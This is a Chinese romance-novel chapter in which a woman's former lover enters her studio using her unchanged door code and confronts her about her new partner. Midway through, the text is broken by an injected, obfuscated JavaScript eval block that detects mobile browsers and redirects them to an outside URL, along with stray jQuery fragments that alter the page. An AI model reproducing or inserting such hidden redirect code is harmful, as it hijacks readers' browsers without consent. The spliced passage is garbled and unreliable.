唇上的温热一触即分。
双闪灯的琥珀色微光里，温舜微微皱了下眉。
怀里的人太僵了，透着木然，没有半分回应。
他退开半寸，眼神带了点探究落下来：“雾雾？”
梧桐叶被风卷着擦过脚踝。夏雾眼睫颤了下，像刚从某种真空状态下回到现实。
“风太大了。”她避开视线，将脸侧的碎发掖到耳后，手心是一层滑腻的冷汗，“早点回吧，路上开车当心。”
温舜权当她是冻的。他舒了舒眉宇，抬手，掌心在她的肩头沉沉一压，“好。你也早点休息。”
转身，上车。车门合拢。
雷克萨斯压过路肩的一地枯叶，两道尾灯很快融入建国西路的夜色，直到彻底看不见。
双闪的黄光没了。街道重新归于死寂。
夏雾站在原地，看着空荡荡的街口。
片刻，她转过身。高跟鞋踩在青灰色的石板上，脆响又轻又缓。
走进弄堂里，在男人面前，停下。
“沈介。”她开口，嗓音被风刮得干涩，“到底要怎么样，这事才算完？”
听见这话，沈介的眉骨抬了一下。
银边镜片下，暗光微敛。
他*的。
刚在他的眼皮底下被别的男人亲完，转过头，站在这儿问他怎么算完。
阴影里，男人的喉结生硬地滚了一道，指骨因为忍耐而发出细微的错响。压下去的呼吸，每一口都带着戾气。
“上去说吧。”他垂下眼皮，视线扫过她单薄的领口，“外面风大。”
夏雾猛地抬眼。那双强撑了一晚上的眼睛里，终于渗出了点惊愕。
“就在这说。”她往后退了半步，鞋跟泄出几分心虚。
沈介看着她这副如临大敌的样子，嘴角扯出一点弧度。以前哭着求他的时候，可不是这种眼神。
他微微偏过脸，下巴朝弄堂口那盏监控探头抬了抬。
“想站马路牙子上让人看？”
他往前迈了半步，皮鞋踩碎一片枯叶。低下头，鼻尖几乎撞上她额角，迫着她承接眼底戏谑。
“不是你说，大家都是成年人——”
“——要留点体面么。”
每个字都像贴着鼓膜摩挲过去，激起一层战栗。
没给她权衡的余地。沈介转过身，直接往弄堂深处走。步子迈得不疾不徐、熟门熟路。
这种笃定感让夏雾感到一阵荒谬的惊悚。
除了跟上去，自己还能怎么办？他不会给人第二种选择。
从前不会，现在也不会。
弄堂逼仄，青砖墙上拉出两道晦暗的斜影，交错、重叠，像是两股拧在一起的死结。
一前一后，谁都没出声。
直到经过十二号的后门。
沈介停住脚。他没抬头仔细辨认门牌，便笃定地停在了那扇深褐色的木门前。
跟在后头的夏雾，呼吸一滞。
还没等她上前。沈介已经抬起了手。
骨节分明的长指搭上电子锁面板，指腹随意一划。幽蓝色的数字背光骤然亮起。
“滴。”
第一下。夏雾的神经猛地一跳。
“滴、滴、滴……”
一共八声。男人的指尖在面板上起落，匀速、流畅。每一声都踩在她心跳的断点上。
最后一声提示音落下。
“咔哒。”锁舌收缩。门向内错出了一道虚掩的黑缝。
手还搭在门把上。他侧过脸，“18401114。莫奈的生日。”
夏雾怔忡，呆愣在原地，连指尖都在发颤。
“五年了。”视线落在她苍白的脸上，沈介扯了下唇角，“怎么连个密码都懒得换？”
夏雾紧紧攥着手拿包。寒意顺着脚底冰凉的青石板，一路攀爬至脊柱。
他甚至不需要用力，就轻而易举地告诉她——时间只是个虚无的度量单位，而她从来都没有离开过他。
没去细看她眼底的防备，他收回视线，掌心发力推开门，指尖熟稔地擦过墙壁左侧，拍亮开关。
“啪。”玄关的暖黄顶灯亮起。
高大的身形侧开，让出一条通往室内的路。
“愣着干什么。”那姿态松弛得像个反客为主的主人，正俯瞰迟归的家人，“进来呀。”
夏雾木然地跨进门槛。
“砰。”门在身后合拢。
沈介俯身拉开鞋柜，指尖从第二格勾出一双淡粉色的窄码拖鞋，搁在她脚边。
视线掠过旁边那双男士拖鞋，没停留。伸手去够最高层，拆了一双带塑封的客用拖鞋。
换好鞋，男人直起身，目光沉沉地压向一动不动的夏雾。
眉宇略微折起，吐出的字眼带着命令感：“脱·鞋。”
夏雾愣怔回神，狼狈地伸出手，想去扶墙借力，掌心还没触及白墙，手肘便被大手稳稳托住。
心尖一颤。难不成他要在玄关就——
惊愕之下，抬眼撞进漆黑眼眸，却发现沈介只是面无表情地站在那，单纯地充当了一个供她依靠的支点。
意识到自己想多了，她耳垂攀上一点红，咬着唇避开视线，脚尖借力褪下高跟鞋，踩进那双粉拖。
还没站稳，暗影重新压了下来。
他拎起高跟鞋，连同自己的那双，一起顺手塞进鞋柜。
“咔。”鞋柜门合拢。
男人直起身，没再看她，径直往里走。经过中岛台时，脚步略微缓了缓。
半自动咖啡机，旁边的沥水架上，倒扣着一排咖啡杯。杯柄齐刷刷地朝向右侧，呈四十五度角——强迫症真是一点没变。
空气里飘着冷杉香薰，混着点亚麻籽油的涩味。
还是那个牌子的松节油。
推门声响起，他毫无顾忌地进了画室。
夏雾没跟进去。她停在明暗交界的走廊上，手心发潮。
画室没开主灯，只有北窗透进来的稀薄夜光。
那道身影停在画布前，正一语不发地审视着上面大面积堆叠的黛绿与群青。
“笔触比以前成熟了。”
良久，嗓音从画室深处传出，在空旷的屋子里激起低微的回音。
“色彩过渡得很干净，厚涂的质感也出来了。”黑暗中传来一声轻笑，“不过，还是这么喜欢大面积地压这种暗绿色。”
月色漏进来，勾勒出他微微偏转的侧脸轮廓。
夏雾看见他挪开了落在画布上的视线，顺着那扇挑高的老式木窗寸寸往下扫。
“层高够。北向的自然光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507142|202291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
漏进来，漫反射的光源确实均匀。这种光线调色，底色吃得准。”
“难怪非要缩在这破弄堂里。”
夏雾站在阴影里。喉咙泛起一丝干涩。
“以前那套望京的公寓，被你嫌弃得要死。”
靠在窗台上的身影动了动，遥遥望过来，“成天跟我抱怨，说落地窗西晒太严重，下午三点以后不仅画布反光，连冷色相都被吃没了。”
低沉的嗓音夹着几分深秋的凉意，又透着点纵容。“为这事儿，跟我闹了半个月的脾气，连拿我好几件白衬衫去当擦笔布。”
指甲掐进掌心，夏雾强迫自己从那张密不透风的旧网里挣脱出来。
够了。
真的够了。别再说下去了……
“忘了。”迎着那道视线，她黑漆漆的眼睛亮得惊人，“过去太久了，以前喜欢什么、抱怨过什么，我早就不记得了。”
画室里安静下来。
昏昧的光影里，那道视线端详了她片刻。随后，手抬起，摘下鼻梁上的银边眼镜，搁在旁边的调色台上。
高大的黑影从窗边的暗处一步步走出来。
停在她身前。
“忘了？”沈介微微俯身，呼吸擦过她的鼻尖。“夏雾，你是不记得，还是不敢记。”
距离拉近。
那道没了镜片遮挡的目光微垂，冷冰冰地落在她的嘴唇上。那上面仿佛还残留着另一个男人的温度。
刺目，惹人生厌。
“那刚才他亲你的时候，躲什么？”沈介唇角扯出一抹森冷的嘲弄，“……五年过去，换了个人，连接吻都不会了？”
“这跟沈总没关系吧。”细白锁骨随着呼吸微微起伏，“深夜闯进来，就是为了跟我翻这些陈芝麻烂谷子？”
“对。”他斩钉截铁，“我就想问问你，处心积虑甩了我、躲去巴黎五年，就是为了回来找这么个人？”
那道阴影进一步吞噬了她呼吸的余地。“连你酒精过敏都记不住，让你端着酒杯陪他应酬；连你恶心西晒都不知道，还在饭桌上当着你的面算前滩的江景房。”
“夏雾，你要作践自己，好歹找个像样点的。找这么个……”
“那是我自己选的！”压抑了一整晚的情绪终于撕开一道裂口，她的眼尾逼出一抹薄红，“平庸也好，没那么懂我也好。他至少是个正常人！”
沈介额角的青筋跳了一下。
“看来你对他期望很高啊。”他忽然扣住了她的手腕。没用太大的蛮力，指骨却一点点收紧。
“夏雾，别把人性想得太干净。”那双漆黑的眼底一点点泛出寒意，“我只要点个头，他就能拿到奋斗十年也摸不到的项目。”
“我甚至不需要点破。只要随便漏个口风，暗示几句资源和前程——”
“你信不信，明天他就能把你送给我。”
腕骨的脉搏在掌心里急促跳动着。
夏雾看着眼前的男人。
过了许久。一丝轻笑散在空气里，她说：“那PT最好提前准备好N+1的赔偿金。”
男人的瞳孔骤然微缩。
夏雾眼睫微垂，视线落在彼此交缠的手上。
“沈介，你真的好自信。”
“五年前我就没有回头。你凭什么觉得，五年后我会？”